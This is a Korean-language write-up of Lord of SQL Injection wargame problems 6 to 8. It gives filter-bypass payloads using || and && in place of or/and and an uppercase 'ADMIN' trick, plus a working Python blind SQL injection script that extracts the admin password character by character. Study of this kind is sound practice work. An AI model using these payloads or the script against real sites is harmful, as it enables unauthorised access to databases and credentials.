6번
문제를 확인을 해보면 or,and를 필터링을 하는 것을 볼 수 있다.
옛날에 책에서 or = || and == && 인 것을 본적이 있어서,
쉽게 필터링을 할 수 있었다.
?pw=1' || id='admin
7번
7번을 확인 했을 때
이전의 blind sql Injecting이랑 문제가 거의 동일하다고 느꼈다.
추가된 것은 or,and의 필터링이였다.
위에서 필터링을 하는 법을 알아봤기 때문에
쉽게 코드를 짤 수 있었다..
#!/usr/bin/python
import string
from requests import get
cookies = dict(PHPSESSID="aajr7831un2vib5cr3c9cr2eic")
idlength = 8
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
letter = string.digits+string.ascii_letters
result = ''
for i in range(1,idlength+1):
for a in letter:
param = "?pw=1' || id='admin' %26%26 ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
new_url = url + param
print(param)
req = get(new_url,cookies=cookies)
if req.text.find('<h2>Hello admin</h2>') > 0:
print(str(i)+"st char is"+a).encode('utf-8')
result += a
break
print "result:"+result
처음에 코드를 짰을 때 코드가 잘 안들어갔다.
그래서 확인을 해보니 &&뒤로 안들어 가서
&&을 url 인코딩 해서 넣어보니 잘들어갔다.
8번
8번 문제를 봤을 때,
딱히 문제가 없어보였음.. admin 필터링 제외하고는..
그래서 xss에서도 비슷하게 쓰이는 꼼수로 대문자를 넣어봄
?id=ADMIN
admin계정 잘 됨!!